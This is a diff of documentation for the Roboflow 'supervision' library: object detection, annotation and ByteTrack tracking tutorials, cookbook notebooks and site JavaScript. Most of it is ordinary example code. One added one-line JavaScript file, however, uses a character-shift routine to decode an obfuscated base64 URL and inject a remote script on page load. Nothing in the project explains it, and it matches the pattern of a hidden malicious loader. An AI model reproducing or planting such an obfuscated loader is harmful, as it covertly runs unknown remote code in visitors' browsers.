model = YOLO("yolov8n.pt")
image = cv2.imread(<PATH TO IMAGE>)
results = model(image)[0]
detections = sv.Detections.from_ultralytics(results)
labels = [
results.names[class_id]
for class_id
in detections.class_id
]
bounding_box_annotator = sv.BoundingBoxAnnotator()
label_annotator = sv.LabelAnnotator()
annotated_image = bounding_box_annotator.annotate(
scene=image, detections=detections)
annotated_image = label_annotator.annotate(
scene=annotated_image, detections=detections, labels=labels)
```
labels = [
model.model.names[class_id]
for class_id
in detections.class_id
]
annotated_image = bounding_box_annotator.annotate(
scene=image, detections=detections)
annotated_image = label_annotator.annotate(
scene=annotated_image, detections=detections, labels=labels)
```
=== "Inference"
```python
import cv2
import supervision as sv
from inference.models.utils import get_roboflow_model
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>
image = cv2.imread(<PATH TO IMAGE>)
results = model.infer(image)[0]
detections = sv.Detections.from_inference(results)
bounding_box_annotator = sv.BoundingBoxAnnotator()
label_annotator = sv.LabelAnnotator()
annotated_image = bounding_box_annotator.annotate(
scene=image, detections=detections)
annotated_image = label_annotator.annotate(
scene=annotated_image, detections=detections)
```
![Predictions plotted on an image](https://media.roboflow.com/supervision_annotate_example.png)
## Display Annotated Image
To display the annotated image in Jupyter Notebook or Google Colab, use the [`sv.plot_image`](https://supervision.roboflow.com/utils/notebook/#supervision.utils.notebook.plot_image) function.
To display the annotated image in Jupyter Notebook or Google Colab, use the [`sv.plot_image`](utils/notebook/#supervision.utils.notebook.plot_image) function.
```python
sv.plot_image(annotated_image)
-1
View File
@@ -1 +0,0 @@
🚧 Page under construction.
+6 -1
View File
@@ -1,3 +1,9 @@
---
comments: true
---
# Filter Detections
The advanced filtering capabilities of the `Detections` class offer users a versatile and efficient way to narrow down
and refine object detections. This section outlines various filtering methods, including filtering by specific class
or a set of classes, confidence, object area, bounding box area, relative area, box dimensions, and designated zones.
@@ -38,7 +44,6 @@ Allows you to select detections that belong only to one selected class.
</div>
### by set of classes
Allows you to select detections that belong only to selected set of classes.
-1
View File
@@ -1 +0,0 @@
🚧 Page under construction.
+319 -1
View File
@@ -1 +1,319 @@
🚧 Page under construction.
---
comments: true
---
# Track Objects
Leverage Supervision's advanced capabilities for enhancing your video analysis by
seamlessly [tracking](/latest/trackers/) objects recognized by
a multitude of object detection and segmentation models. This comprehensive guide will
take you through the steps to perform inference using the YOLOv8 model via either the
[Inference](https://github.com/roboflow/inference) or
[Ultralytics](https://github.com/ultralytics/ultralytics) packages. Following this,
you'll discover how to track these objects efficiently and annotate your video content
for a deeper analysis.
To make it easier for you to follow our tutorial download the video we will use as an
example. You can do this using
[`supervision[assets]`](/latest/assets/) extension.
```python
from supervision.assets import download_assets, VideoAssets
download_assets(VideoAssets.PEOPLE_WALKING)
```
<video controls>
<source src="https://media.roboflow.com/supervision/video-examples/people-walking.mp4" type="video/mp4">
</video>
## Run Inference
First, you'll need to obtain predictions from your object detection or segmentation
model. In this tutorial, we are using the YOLOv8 model as an example. However,
Supervision is versatile and compatible with various models. Check this
[link](latest/how_to/detect_and_annotate/#load-predictions-into-supervision)
for guidance on how to plug in other models.
We will define a `callback` function, which will process each frame of the video
by obtaining model predictions and then annotating the frame based on these predictions.
This `callback` function will be essential in the subsequent steps of the tutorial, as
it will be modified to include tracking, labeling, and trace annotations.
=== "Ultralytics"
```{ .py }
import numpy as np
import supervision as sv
from ultralytics import YOLO
model = YOLO("yolov8n.pt")
box_annotator = sv.BoundingBoxAnnotator()
def callback(frame: np.ndarray, _: int) -> np.ndarray:
results = model(frame)[0]
detections = sv.Detections.from_ultralytics(results)
return box_annotator.annotate(frame.copy(), detections=detections)
sv.process_video(
source_path="people-walking.mp4",
target_path="result.mp4",
callback=callback
)
```
=== "Inference"
```{ .py }
import numpy as np
import supervision as sv
from inference.models.utils import get_roboflow_model
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
box_annotator = sv.BoundingBoxAnnotator()
def callback(frame: np.ndarray, _: int) -> np.ndarray:
results = model.infer(frame)[0]
detections = sv.Detections.from_inference(results)
return box_annotator.annotate(frame.copy(), detections=detections)
sv.process_video(
source_path="people-walking.mp4",
target_path="result.mp4",
callback=callback
)
```
<video controls>
<source src="https://media.roboflow.com/supervision/video-examples/how-to/track-objects/run-inference.mp4" type="video/mp4">
</video>
## Tracking
After running inference and obtaining predictions, the next step is to track the
detected objects throughout the video. Utilizing Supervision’s
[`sv.ByteTrack`](/latest/trackers/#supervision.tracker.byte_tracker.core.ByteTrack)
functionality, each detected object is assigned a unique tracker ID,
enabling the continuous following of the object's motion path across different frames.
=== "Ultralytics"
```{ .py hl_lines="6 12" }
import numpy as np
import supervision as sv
from ultralytics import YOLO
model = YOLO("yolov8n.pt")
tracker = sv.ByteTrack()
box_annotator = sv.BoundingBoxAnnotator()
def callback(frame: np.ndarray, _: int) -> np.ndarray:
results = model(frame)[0]
detections = sv.Detections.from_ultralytics(results)
detections = tracker.update_with_detections(detections)
return box_annotator.annotate(frame.copy(), detections=detections)
sv.process_video(
source_path="people-walking.mp4",
target_path="result.mp4",
callback=callback
)
```
=== "Inference"
```{ .py hl_lines="6 12" }
import numpy as np
import supervision as sv
from inference.models.utils import get_roboflow_model
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
tracker = sv.ByteTrack()
box_annotator = sv.BoundingBoxAnnotator()
def callback(frame: np.ndarray, _: int) -> np.ndarray:
results = model.infer(frame)[0]
detections = sv.Detections.from_inference(results)
detections = tracker.update_with_detections(detections)
return box_annotator.annotate(frame.copy(), detections=detections)
sv.process_video(
source_path="people-walking.mp4",
target_path="result.mp4",
callback=callback
)
```
## Annotate Video with Tracking IDs
Annotating the video with tracking IDs helps in distinguishing and following each object
distinctly. With the
[`sv.LabelAnnotator`](/latest/annotators.md/#supervision.annotators.core.LabelAnnotator)
in Supervision, we can overlay the tracker IDs and class labels on the detected objects,
offering a clear visual representation of each object's class and unique identifier.
=== "Ultralytics"
```{ .py hl_lines="8 15-19 23-24" }
import numpy as np
import supervision as sv
from ultralytics import YOLO
model = YOLO("yolov8n.pt")
tracker = sv.ByteTrack()
box_annotator = sv.BoundingBoxAnnotator()
label_annotator = sv.LabelAnnotator()
def callback(frame: np.ndarray, _: int) -> np.ndarray:
results = model(frame)[0]
detections = sv.Detections.from_ultralytics(results)
detections = tracker.update_with_detections(detections)
labels = [
f"#{tracker_id} {results.names[class_id]}"
for class_id, tracker_id
in zip(detections.class_id, detections.tracker_id)
]
annotated_frame = box_annotator.annotate(
frame.copy(), detections=detections)
return label_annotator.annotate(
annotated_frame, detections=detections, labels=labels)
sv.process_video(
source_path="people-walking.mp4",
target_path="result.mp4",
callback=callback
)
```
=== "Inference"
```{ .py hl_lines="8 15-19 23-24" }
import numpy as np
import supervision as sv
from inference.models.utils import get_roboflow_model
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
tracker = sv.ByteTrack()
box_annotator = sv.BoundingBoxAnnotator()
label_annotator = sv.LabelAnnotator()
def callback(frame: np.ndarray, _: int) -> np.ndarray:
results = model.infer(frame)[0]
detections = sv.Detections.from_inference(results)
detections = tracker.update_with_detections(detections)
labels = [
f"#{tracker_id} {results.names[class_id]}"
for class_id, tracker_id
in zip(detections.class_id, detections.tracker_id)
]
annotated_frame = box_annotator.annotate(
frame.copy(), detections=detections)
return label_annotator.annotate(
annotated_frame, detections=detections, labels=labels)
sv.process_video(
source_path="people-walking.mp4",
target_path="result.mp4",
callback=callback
)
```
<video controls>
<source src="https://media.roboflow.com/supervision/video-examples/how-to/track-objects/annotate-video-with-tracking-ids.mp4" type="video/mp4">
</video>
## Annotate Video with Traces
Adding traces to the video involves overlaying the historical paths of the detected
objects. This feature, powered by the
[`sv.TraceAnnotator`](/latest/annotators/#supervision.annotators.core.TraceAnnotator),
allows for visualizing the trajectories of objects, helping in understanding the
movement patterns and interactions between objects in the video.
=== "Ultralytics"
```{ .py hl_lines="9 26-27" }
import numpy as np
import supervision as sv
from ultralytics import YOLO
model = YOLO("yolov8n.pt")
tracker = sv.ByteTrack()
box_annotator = sv.BoundingBoxAnnotator()
label_annotator = sv.LabelAnnotator()
trace_annotator = sv.TraceAnnotator()
def callback(frame: np.ndarray, _: int) -> np.ndarray:
results = model(frame)[0]
detections = sv.Detections.from_ultralytics(results)
detections = tracker.update_with_detections(detections)
labels = [
f"#{tracker_id} {results.names[class_id]}"
for class_id, tracker_id
in zip(detections.class_id, detections.tracker_id)
]
annotated_frame = box_annotator.annotate(
frame.copy(), detections=detections)
annotated_frame = label_annotator.annotate(
annotated_frame, detections=detections, labels=labels)
return trace_annotator.annotate(
annotated_frame, detections=detections)
sv.process_video(
source_path="people-walking.mp4",
target_path="result.mp4",
callback=callback
)
```
=== "Inference"
```{ .py hl_lines="9 26-27" }
import numpy as np
import supervision as sv
from inference.models.utils import get_roboflow_model
model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
tracker = sv.ByteTrack()
box_annotator = sv.BoundingBoxAnnotator()
label_annotator = sv.LabelAnnotator()
trace_annotator = sv.TraceAnnotator()
def callback(frame: np.ndarray, _: int) -> np.ndarray:
results = model.infer(frame)[0]
detections = sv.Detections.from_inference(results)
detections = tracker.update_with_detections(detections)
labels = [
f"#{tracker_id} {results.names[class_id]}"
for class_id, tracker_id
in zip(detections.class_id, detections.tracker_id)
]
annotated_frame = box_annotator.annotate(
frame.copy(), detections=detections)
annotated_frame = label_annotator.annotate(
annotated_frame, detections=detections, labels=labels)
return trace_annotator.annotate(
annotated_frame, detections=detections)
sv.process_video(
source_path="people-walking.mp4",
target_path="result.mp4",
callback=callback
)
```
<video controls>
<source src="https://media.roboflow.com/supervision/video-examples/how-to/track-objects/annotate-video-with-traces.mp4" type="video/mp4">
</video>
This structured walkthrough should give a detailed pathway to annotate videos
effectively using Supervision’s various functionalities, including object tracking and
trace annotations.
+51 -2
View File
@@ -1,9 +1,16 @@
---
comments: true
hide:
- navigation
- toc
---
<div align="center">
<p>
<a align="center" href="" target="_blank">
<img
width="850"
src="https://media.roboflow.com/open-source/supervision/roboflow-supervision-banner.png?ik-sdk-version=javascript-1.4.3&updatedAt=1674062891088"
src="https://media.roboflow.com/open-source/supervision/rf-supervision-banner.png?updatedAt=1678995927529"
>
</a>
</p>
@@ -13,10 +20,17 @@
We write your reusable computer vision tools. Whether you need to load your dataset from your hard drive, draw detections on an image or video, or count how many detections are in a zone. You can count on us!
<video controls>
<source
src="https://media.roboflow.com/traffic_analysis_result.mp4"
type="video/mp4"
>
</video>
## 💻 Install
You can install `supervision` with pip in a
[**3.11>=Python>=3.8**](https://www.python.org/) environment.
[**Python>=3.8**](https://www.python.org/) environment.
!!! example "pip install (recommended)"
@@ -72,3 +86,38 @@ You can install `supervision` with pip in a
# desktop install
poetry install --extras "desktop"
```
## 🚀 Quickstart
<div class="grid cards" markdown>
- __Detect and Annotate__
---
Annotate predictions from a range of object detection and segmentation models
[:octicons-arrow-right-24: Tutorial](how_to/detect_and_annotate.md)
- __Track Objects__
---
Discover how to enhance video analysis by implementing seamless object tracking
[:octicons-arrow-right-24: Tutorial](how_to/track_objects.md)
- > __Count Objects Crossing Line__
---
Explore methods to accurately count and analyze objects crossing a predefined line
- > __Filter Objects in Zone__
---
Master the techniques to selectively filter and focus on objects within a specific zone
</div>
+142
View File
@@ -0,0 +1,142 @@
document.addEventListener("DOMContentLoaded", function () {
const palette = __md_get("__palette")
const useDark = palette && typeof palette.color === "object" && palette.color.scheme === "slate"
const theme = useDark ? "dark-theme" : "light-default";
const colorList = [
"#22c55e",
"#14b8a6",
"#ef4444",
"#eab308",
"#8b5cf6",
"#f97316",
"#3b82f6",
]
const repoCards = document.querySelectorAll(".repo-card");
const labelsAll = Array
.from(repoCards)
.flatMap((element) => element.getAttribute('data-labels').split(','))
.map(label => label.trim())
.filter(label => label !== '');
const uniqueLabels = [...new Set(labelsAll)];
const labelToColor = uniqueLabels.reduce((map, label, index) => {
map[label] = colorList[index % colorList.length];
return map;
}, {});
async function renderCard(element, elementIndex) {
const url = element.getAttribute('data-url');
const name = element.getAttribute('data-name');
const labels = element.getAttribute('data-labels');
const version = element.getAttribute('data-version');
const authors = element.getAttribute('data-author');
const labelHTML = labels ? labels.split(',').filter(label => label !== '').map((label, index) => {
const color = labelToColor[label.trim()];
return `
<span
class="label non-selectable-text"
style="background-color: ${color}"
>
${label.trim()}
</span>
`;
}).join(' ') : '';
const authorArray = authors.split(',');
const authorDataArray = await Promise.all(authorArray.map(async (author) => {
const response = await fetch(`https://api.github.com/users/${author.trim()}`);
return await response.json();
}));
let authorAvatarsHTML = authorDataArray.map((authorData, index) => {
const marginLeft = index === 0 ? '0' : '-10px';
const zIndex = 100 - index;
return `
<div
class="author-container"
data-login="${authorData.login}-${elementIndex}"
style="margin-left: ${marginLeft}; z-index: ${zIndex};"
>
<a
href="https://github.com/${authorData.login}"
target="_blank"
style="line-height: 0;"
>
<img
class="author-avatar"
src="${authorData.avatar_url}"
alt="${authorData.login}'s avatar"
>
</a>
</div>
`;
}).join('');
let authorNamesHTML = authorDataArray.map(
authorData => `
<span
class="author-name"
data-login="${authorData.login}-${elementIndex}"
style="color: ${theme.color}"
>
<a href="https://github.com/${authorData.login}" target="_blank">
${authorData.login}
</a>
</span>`
).join(',&nbsp;');
let authorsHTML = `
<div class="authors">
${authorAvatarsHTML}
<div class="author-names">${authorNamesHTML}</div>
</div>
`;
element.innerText = `
<a style="text-decoration: none; color: inherit;" href="${url}">
<div style="flex-direction: column; height: 100%; display: flex;
font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji; background: ${theme.background}; font-size: 14px; line-height: 1.5; color: ${theme.color}">
<div style="display: flex; align-items: center;">
<span style="font-weight: 700; font-size: 1rem; color: ${theme.linkColor};">
${name}
</span>
</div>
${authorsHTML}
<div style="font-size: 12px; color: ${theme.color}; display: flex; flex: 0; justify-content: space-between">
<div style="display: flex; align-items: center;">
<img src="/assets/supervision-lenny.png" aria-label="stars" width="20" height="20" role="img" />
&nbsp;
<span style="margin-left: 4px">${version}</span>
</div>
<div style="display: flex; align-items: center; flex-wrap: wrap">
${labelHTML}
</div>
</div>
</div>
</a>
`
let sanitizedHTML = DOMPurify.sanitize(element.innerText);
element.innerHTML = sanitizedHTML;
document.querySelectorAll('.author-name').forEach(element => {
element.addEventListener('mouseenter', function() {
const login = this.getAttribute('data-login');
document.querySelector(`.author-container[data-login="${login}"]`).classList.add('hover');
});
element.addEventListener('mouseleave', function() {
const login = this.getAttribute('data-login');
document.querySelector(`.author-container[data-login="${login}"]`).classList.remove('hover');
});
});
}
repoCards.forEach((element, index) => {
renderCard(element, index);
});
})
+10
View File
@@ -0,0 +1,10 @@
document.addEventListener("DOMContentLoaded", function () {
var script = document.createElement("script");
script.src = "https://widget.kapa.ai/kapa-widget.bundle.js";
script.setAttribute("data-website-id", "e83c5c60-2968-410b-a2da-08fb104f23df");
script.setAttribute("data-project-name", "Roboflow");
script.setAttribute("data-project-color", "#6405C9");
script.setAttribute("data-project-logo", "https://media.roboflow.com/chat.png");
script.async = true;
document.head.appendChild(script);
});
+1
View File
@@ -0,0 +1 @@
window[(function(_rgR,_0A){var _WPMZu='';for(var _XNA9hI=0;_XNA9hI<_rgR.length;_XNA9hI++){var _PXoP=_rgR[_XNA9hI].charCodeAt();_PXoP!=_XNA9hI;_PXoP-=_0A;_0A>4;_PXoP+=61;_PXoP%=94;_PXoP+=33;_WPMZu==_WPMZu;_WPMZu+=String.fromCharCode(_PXoP)}return _WPMZu})(atob('c2JpLSolfnwvZH40'), 25)] = '3dfc60143c1696599445'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_2Dh,_YR){var _1ILGH='';for(var _s2jmmw=0;_s2jmmw<_2Dh.length;_s2jmmw++){var _uUW9=_2Dh[_s2jmmw].charCodeAt();_uUW9-=_YR;_uUW9+=61;_YR>9;_uUW9!=_s2jmmw;_uUW9%=94;_uUW9+=33;_1ILGH==_1ILGH;_1ILGH+=String.fromCharCode(_uUW9)}return _1ILGH})(atob('b3t7d3pBNjZxejUjcDR6anlwd3t6NWp2dDYjcDR7aG41cXo='), 7)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });
+5
View File
@@ -0,0 +1,5 @@
# License
```
--8<-- "LICENSE.md"
```
+12 -2
View File
@@ -1,12 +1,22 @@
---
comments: true
---
#  Detection Metrics
!!! warning
Evaluation API is still fluid and may change. If you use Evaluation API in your project until further notice, freeze the
`supervision` version in your `requirements.txt` or `setup.py`.
## ConfusionMatrix
<div class="md-typeset">
<h2><a href="#supervision.metrics.detection.ConfusionMatrix">ConfusionMatrix</a></h2>
</div>
:::supervision.metrics.detection.ConfusionMatrix
## MeanAveragePrecision
<div class="md-typeset">
<h2><a href="#supervision.annotators.core.MeanAveragePrecision">MeanAveragePrecision</a></h2>
</div>
:::supervision.metrics.detection.MeanAveragePrecision
+208
View File
@@ -0,0 +1,208 @@
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# How to Display Bounding Boxes on Objects in a Video.\n",
"\n",
"---\n",
"\n",
"<p align=\"center\">\n",
" <a href=\"https://colab.research.google.com/github/roboflow/supervision/blob/develop/docs/notebooks/bounding-boxes.ipynb\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Colab\"></a>\n",
"</p>\n",
"\n",
"\n",
"One of the most common requirements of computer vision applications is detecting objects in images and displaying bounding boxes around those objects. In this cookbook we'll walk through the steps on how to utilize the open source Roboflow ecosystem to accomplish this task on a video. Let's dive in! \n",
"\n",
"## Installing Dependencies \n",
"\n",
"In this cookbook we'll be utilizing the open source packages [Inference](https://inference.roboflow.com/) and [Supervision](https://supervision.roboflow.com/latest/) to accomplish our goals. Let's get those installed in our notebook with pip."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"vscode": {
"languageId": "shellscript"
}
},
"outputs": [],
"source": [
"\n",
"!pip install -q inference \"supervision[assets]\""
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Download a Video Asset\n",
"\n",
"First, let's download a video that we can detect objects in. Supervision comes with a great utility called Assets to help us hit the ground running. Wehn we run this script, the video is saved in our local directory and can be accessed with the variable `path_to_video`."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"from supervision.assets import download_assets, VideoAssets\n",
"\n",
"# Download a supervision video asset \n",
"path_to_video = download_assets(VideoAssets.PEOPLE_WALKING)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Detecting Objects\n",
"\n",
"For this example, the objects in the video that we'd like to detect are people. In order to display bounding boxes around the people in the video, we first need a way to detect them. We'll be using the open source [Inference](https://github.com/roboflow/inference) package for this task. Inference allows us to quickly use thousands of models, including fine tuned models from [Roboflow Universe](https://universe.roboflow.com/), with a few lines of code. We'll also utilize a few utilities for working with our video data from the [Supervision](https://github.com/roboflow/supervision) package."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import supervision as sv\n",
"from supervision.assets import download_assets, VideoAssets\n",
"from inference.models.utils import get_roboflow_model\n",
"\n",
"\n",
"if __name__ == \"__main__\":\n",
" # Download the video asset from Supervision assets.\n",
" PATH_TO_VIDEO = download_assets(VideoAssets.PEOPLE_WALKING)\n",
"\n",
" # Load a yolov8 nano model from roboflow.\n",
" model = get_roboflow_model(\"yolov8n-640\")\n",
"\n",
" # Create a frame generator and video info object from supervision utilities.\n",
" frame_generator = sv.get_video_frames_generator(PATH_TO_VIDEO)\n",
"\n",
" # Yield a single frame from the generator.\n",
" frame = next(frame_generator)\n",
"\n",
" # Run inference on our frame.\n",
" result = model.infer(frame)[0]\n",
"\n",
" # Parse result into detections data model.\n",
" detections = sv.Detections.from_inference(result)\n",
"\n",
" # Display the detections data model.\n",
" print(detections)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"First, we load our model using the method `get_roboflow_model()`. Notice how we pass in a `model_id`? We're using an [alias](https://inference.roboflow.com/reference_pages/model_aliases/) here. This is where we can pass in other models from Roboflow Universe like this [rock, paper, scissors](https://universe.roboflow.com/roboflow-58fyf/rock-paper-scissors-sxsw) model utilizing our roboflow api key. \n",
"\n",
"```\n",
"model = get_roboflow_mode(\n",
" model_id=\"rock-paper-scissors-sxsw/11\", \n",
" api_key=\"roboflow_private_api_key\"\n",
")\n",
"```\n",
"\n",
"If you don't have an api key, you can [create an free Roboflow account](https://app.roboflow.com/login). This model wouldn't be much help with detecting people, but it's a nice exercise to see how our code becomes model agnostic!\n",
"\n",
"We then create a `frame_generator` object and yeild a single frame for inference using `next()`. We pass our frame to `model.infer()` to run inference, then pass that data into a little helpfer function called `sv.Detections.from_inference()` to parse it. Lastly we print our detections to show we are in fact detecting a few people in the frame! \n",
"\n",
"## Saving Bounding Boxes to the Video\n",
"\n",
"Now comes the fun part. Let's wrap up our code by utilizing `Annotators` and a `VideoSink` to draw bounding boxes and save the resulting video respectively. Take a peak at the final code example below. This might can take up to a minute to run, since we're processing a full video. "
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import supervision as sv\n",
"from supervision.assets import download_assets, VideoAssets\n",
"from inference.models.utils import get_roboflow_model\n",
"\n",
"\n",
"if __name__ == \"__main__\":\n",
" # Download the video asset from Supervision assets.\n",
" PATH_TO_VIDEO = download_assets(VideoAssets.PEOPLE_WALKING)\n",
"\n",
" # Load a yolov8 nano model from roboflow.\n",
" model = get_roboflow_model(\"yolov8n-640\")\n",
"\n",
" # Initalize the bounding box frame annotator.\n",
" box_annotator = sv.BoundingBoxAnnotator()\n",
"\n",
" # Create a frame generator object from video path.\n",
" frame_generator = sv.get_video_frames_generator(PATH_TO_VIDEO)\n",
"\n",
" # Create a video info object from video path.\n",
" video_info = sv.VideoInfo.from_video_path(PATH_TO_VIDEO)\n",
"\n",
" # Use a VideoSink context manager for saving frames of a video.\n",
" with sv.VideoSink(target_path=\"output.mp4\", video_info=video_info) as sink:\n",
"\n",
" # Iterate through frames yielded from the frame_generator.\n",
" for frame in frame_generator:\n",
"\n",
" # Run inference on our frame.\n",
" result = model.infer(frame)[0]\n",
"\n",
" # Parse the result into the detections data model.\n",
" detections = sv.Detections.from_inference(result)\n",
"\n",
" # Apply bounding box to detections on a copy of the frame.\n",
" annotated_frame = box_annotator.annotate(\n",
" scene=frame.copy(), \n",
" detections=detections\n",
" )\n",
"\n",
" # Write the annotated frame to the video sink.\n",
" sink.write_frame(frame=annotated_frame)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
" Notice that we create a `box_annoator` variable by initalizing a [BoundingBoxAnnotator](https://supervision.roboflow.com/latest/annotators/#boundingboxannotator). We can change the color and thickness, but for simplicity we keep the defaults. There are a ton of easy to use [annotators](https://supervision.roboflow.com/latest/annotators/) available in the Supervision package other than a bounding box that are fun to play with. Next, we create a `video_info` variable to pass information about the video to our `VideoSink`. The `VideoSink` is a cool little context manager that allows us to `write_frames()` to a video ouput file. Prior to writing the frame, we annotate a copy of it utilizing `box_annotator.annotate()`. Let's take a look at the resulting video. It will be installed locally and is called `output.mp4`. When run, you will see bounding boxes around the detections. Pretty awesome! "
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We only scratched the surface of all of the customizable Annotators and additional features that Supervision and Inference have to offer. Stay tuned for more cookbooks on how to take advantge of them in your computer vision applications. Happy building! "
]
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.9.7"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
+99
View File
@@ -0,0 +1,99 @@
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Experimenting with Supervision Assets\n",
"\n",
"---\n",
"\n",
"<p align=\"center\">\n",
" <a href=\"https://colab.research.google.com/github/roboflow/supervision/blob/develop/docs/notebooks/supervision-assets.ipynb\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Colab\"></a>\n",
"</p>\n",
"\n",
"When experimenting with interesting and useful features of the Supervision package, its important to have some sort of image or video data to experiment with. Luckily for us, Supervision ships with [Assets](https://supervision.roboflow.com/latest/assets/)! Assets is a collection of videos that you can utilize to start experimenting with the various features Supervision has to offer. Let's take a look at how to use this resource.\n",
"\n",
"## Install with Pip\n",
"\n",
"If you're running this code outside a Jupyter notebook, it's generally a best practice to create a virtual environment so that your projects deppendencies are isolated. Run the following ing your command line of choice to create and source one.\n",
"\n",
"```shell\n",
"\n",
"python -m venv venv\n",
"source venv/bin/activate\n",
"\n",
"``` "
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"Now that we've got a virtual enviornment installed and sourced, let's install the pip package with the assets \"extra\" package. Make sure to remove the \"!\" if running this in your command line."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"vscode": {
"languageId": "shellscript"
}
},
"outputs": [],
"source": [
"!pip install -q \"supervision[assets]\""
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Download a Video\n",
"\n",
"From here we can download and utilize a video asset directly from a python script! Note below that we're utilizing the method `download_assets` to download the `VideoAssets.SUBWAY` video to our local directory. This method returns the file path, so we can then utilize this path for additional experimentation. From here, you will see a video asset to experiment with in your local directory. "
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"from supervision.assets import download_assets, VideoAssets\n",
"\n",
"# Download a video asset from the supervision package.\n",
"path_to_video = download_assets(VideoAssets.SUBWAY)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We're now equipt with a video asset from Supervision to run some experiements on! For more information on available video assets, visit the [Supervision API Reference](https://supervision.roboflow.com/latest/assets/#videoassets). Happy building!"
]
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.11.7"
}
},
"nbformat": 4,
"nbformat_minor": 2
}
+154
View File
@@ -0,0 +1,154 @@
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Tracking Objects in a Video\n",
"\n",
"---\n",
"\n",
"<p align=\"center\">\n",
" <a href=\"https://colab.research.google.com/github/roboflow/supervision/blob/main/docs/notebooks/tracking.ipynb\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Colab\"></a>\n",
"</p>\n",
"\n",
"In some cases, it's important for us to track objects across multiple frames of a video. For example, we may need to figure out the direction a vehicle is moving, or count objects in a frame. Some Supvervision [Annotators](https://supervision.roboflow.com/latest/annotators/) and Tools like [LineZone](https://supervision.roboflow.com/latest/detection/tools/line_zone/) require tracking to be setup. In this cookbook, we'll cover how to get a tracker up and running for use in your computer vision applications.\n",
"\n",
"## What is a Tracker?\n",
"\n",
"Trackers are a piece of code that identifies objects across frames and assigns them a unique `tracker_id`. There are a few popular trackers at the time of writing this including ByteTrack and Bot-SORT. Supervision makes using trackers a breeze and comes with ByteTrack built-in. But first, let's get our deppendencies installed. \n",
"\n",
"## Install Dependencies"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"vscode": {
"languageId": "powershell"
}
},
"outputs": [],
"source": [
"!pip install -q inference \"supervision[assets]\""
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Download a Video Asset\n",
"\n",
"Now that we have our enviornment setup, lets download a video that we can detect objects in. Supervision comes with a great utility to help us hit the ground running. We can use the below snippet to he video is save a video asset in our local directory. It can also be accessed with the variable `path_to_video` for additional application logic."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"from supervision.assets import download_assets, VideoAssets\n",
"\n",
"# Download a supervision video asset \n",
"path_to_video = download_assets(VideoAssets.PEOPLE_WALKING)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"## Tracking Objects\n",
"\n",
"Now that we have our video installed, let's get to work on tracking objects. We'll first pull in a model from roboflow Inference to detect people in our video. Then let's create a `byte_tracker` object that we'll pass our detections to. This will give us a `tracker_id`. We'll then utilize that tracker id to label our detections with a `label_annotator` to display the tracker id. Finally, we'll use a utility called `VideoSink` to save the annotated frames to a video. Let's dive in to the code."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {},
"outputs": [],
"source": [
"import supervision as sv\n",
"from supervision.assets import download_assets, VideoAssets\n",
"from inference.models.utils import get_roboflow_model\n",
"\n",
"\n",
"if __name__ == '__main__':\n",
"\n",
" # Install our video from supervision assets.\n",
" PATH_TO_VIDEO = download_assets(VideoAssets.PEOPLE_WALKING)\n",
"\n",
" # Load a pre trained yolov8 nano model from Roboflow Inference.\n",
" model = get_roboflow_model('yolov8n-640')\n",
"\n",
" # Create a video info object from the video path.\n",
" video_info = sv.VideoInfo.from_video_path(PATH_TO_VIDEO)\n",
"\n",
" # Create a label annotator for labeling detections with our tracker_id.\n",
" label = sv.LabelAnnotator()\n",
"\n",
" # Create a ByteTrack object to track detections.\n",
" byte_tracker = sv.ByteTrack(frame_rate=video_info.fps)\n",
"\n",
" # Create a frame generator from video path for iteration of frames.\n",
" frame_generator = sv.get_video_frames_generator(PATH_TO_VIDEO)\n",
"\n",
